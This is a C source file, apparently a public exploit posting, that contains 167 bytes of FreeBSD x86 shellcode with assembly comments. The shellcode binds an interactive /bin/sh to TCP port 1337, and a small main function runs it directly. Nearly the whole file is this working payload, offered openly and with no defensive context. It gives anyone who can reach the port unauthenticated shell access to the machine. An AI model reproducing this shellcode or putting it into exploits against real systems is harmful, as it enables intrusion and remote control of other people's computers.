freebsd/x86 portbind shellcode 167 bytes

/*-
 * Copyright (c) 2009, Sofian Brabez <[email protected]>
 *
 * freebsd-x86-portbind.c - FreeBSD x86 portbind a shell (/bin/sh) on
1337 (\x05\x39) 167 bytes
 */

const char shellcode[] =
	"\x6a\x00" 					// push   $0x0
	"\x6a\x01" 					// push   $0x1
	"\x6a\x02" 					// push   $0x2
	"\x50" 						// push   %eax
	"\x6a\x61" 					// push   $0x61
	"\x58" 						// pop    %eax
	"\xcd\x80" 					// int    $0x80
	"\x50" 						// push   %eax
	"\x6a\x00" 					// push   $0x0
	"\x6a\x00" 					// push   $0x0
	"\x6a\x00" 					// push   $0x0
	"\x6a\x00" 					// push   $0x0
	"\x68\x10\x02\x05\x39" 		// push   $0x39050210
	"\x89\xe0" 					// mov    %esp,%eax
	"\x6a\x10" 					// push   $0x10
	"\x50" 						// push   %eax
	"\xff\x74\x24\x1c" 			// pushl  0x1c(%esp)
	"\x50" 						// push   %eax
	"\x6a\x68" 					// push   $0x68
	"\x58"						// pop    $eax
	"\xcd\x80" 					// int    $0x80
	"\x6a\x01"					// push   $0x1
	"\xff\x74\x24\x28"			// pushl  0x28(%esp)
	"\x50"						// push   %eax
	"\x6a\x6a"					// push   $0x6a
	"\x58"						// pop    $eax
	"\xcd\x80"					// int    $0x80
	"\x83\xec\x10"				// sub    $0x10,$esp
	"\x6a\x10"					// push   $0x10
	"\x8d\x44\x24\x04"         	// lea    0x4(%esp),%eax
	"\x89\xe1"					// mov    %esp,%ecx
	"\x51"						// push   %ecx
	"\x50"						// push   %eax
	"\xff\x74\x24\x4c"			// pushl  0x4c(%esp)
	"\x50"						// push   %eax
	"\x6a\x1e"					// push   %0x1e
	"\x58"						// pop    %eax
	"\xcd\x80"					// int    $0x80
	"\x50"						// push   %eax
	"\xff\x74\x24\x58"			// pushl  0x58(%esp)
	"\x50"						// push   %eax
	"\x6a\x06"					// push   $0x6
	"\x58"						// pop    %eax
	"\xcd\x80"					// int    $0x80
	"\x6a\x00"					// push   $0x0
	"\xff\x74\x24\x0c"			// pushl  0xc(%esp)
	"\x50"						// push   %eax
	"\x6a\x5a"					// push   $0x5a
	"\x58"						// pop    %eax
	"\xcd\x80"					// int    $0x80
	"\x6a\x01"					// push   $0x1
	"\xff\x74\x24\x18"			// pushl  0x18(%esp)
	"\x50"						// push   %eax
	"\x6a\x5a"					// push   $0x5a
	"\x58"						// pop    %eax
	"\xcd\x80"					// int    $0x80
	"\x6a\x02"					// push   $0x2
	"\xff\x74\x24\x24"			// pushl  0x24(%esp)
	"\x50"						// push   %eax
	"\x6a\x5a"					// push   $0x5a
	"\x58"						// pop    %eax
	"\xcd\x80"					// int    $0x80
	"\x68\x73\x68\x00\x00"		// push   $0x6873
	"\x89\xe0"					// mov    %esp,%eax
	"\x68\x2d\x69\x00\x00"		// push   $0x692d
	"\x89\xe1"					// mov    %esp,%ecx
	"\x6a\x00"					// push   $0x0
	"\x51"						// push   %ecx
	"\x50"						// push   %eax
	"\x68\x2f\x73\x68\x00"		// push   $0x68732f
	"\x68\x2f\x62\x69\x6e"		// push   $0x6e69622f
	"\x89\xe0"					// mov    %esp,%eax
	"\x8d\x4c\x24\x08"			// lea    0x8(%esp),%ecx
	"\x6a\x00"					// push   $0x0
	"\x51"						// push   %ecx
	"\x50"						// push   %eax
	"\x50"						// push   %eax
	"\x6a\x3b"					// push   $0x3b
	"\x58"						// pop    %eax
	"\xcd\x80";					// int    $0x80

int main(void) {
    void (*egg)() = (void *)shellcode;

    return (*(int(*)())shellcode)();
}